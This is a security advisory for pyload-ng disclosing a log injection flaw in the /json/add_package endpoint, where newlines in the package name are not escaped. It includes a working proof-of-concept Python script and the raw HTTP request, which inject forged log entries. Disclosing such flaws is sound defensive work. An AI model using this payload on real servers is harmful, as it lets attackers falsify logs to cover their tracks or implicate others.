GHSA-3wwm-hjv7-23r3 Pyload log Injection via API /json/add_package in add_name parameter

• PyPI pyload-ng: <= 0.5.0b3.dev89 (no fix yet)

Summary A log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`. Details `pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file. PoC Run `pyload` in the default configuration by running the following command ``` pyload ``` We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs` Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs. ``` import requests session = requests.session() burp0_url = "http://localhost:8000/json/add_package" burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"} burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"} burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19] PWNED SeaWind GET PWNED\r\n[2025-07-23 04:32:19] INFO pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n" session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) ``` The Burpsuite HTTP Request for the above code ``` POST /json/add_package HTTP/1.1 Host: localhost:8000 Content-Length: 799 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf Origin: http://localhost:8000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8000/collector Accept-Encoding: gzip, deflate, br Cookie: pyload_session_8000=SESSIONS-ID-HERE Connection: keep-alive ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_name" Fake new package containing 1 links [2025-07-23 04:32:19] HACKER SeaWind GET PWNED [2025-07-23 04:32:19] INFO pyload Added package Normal package ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_links" 123 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_password" 123 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_file"; filename="tt" Content-Type: application/octet-stream ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_dest" 0 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf-- ``` After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected. Impact Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.